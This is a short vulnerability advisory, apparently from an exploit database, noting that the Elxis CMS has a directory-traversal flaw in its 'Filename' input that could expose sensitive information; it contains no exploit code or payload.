Elxis - 'Filename' Directory Traversal

source: https://www.securityfocus.com/bid/37158/info

Elxis is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.
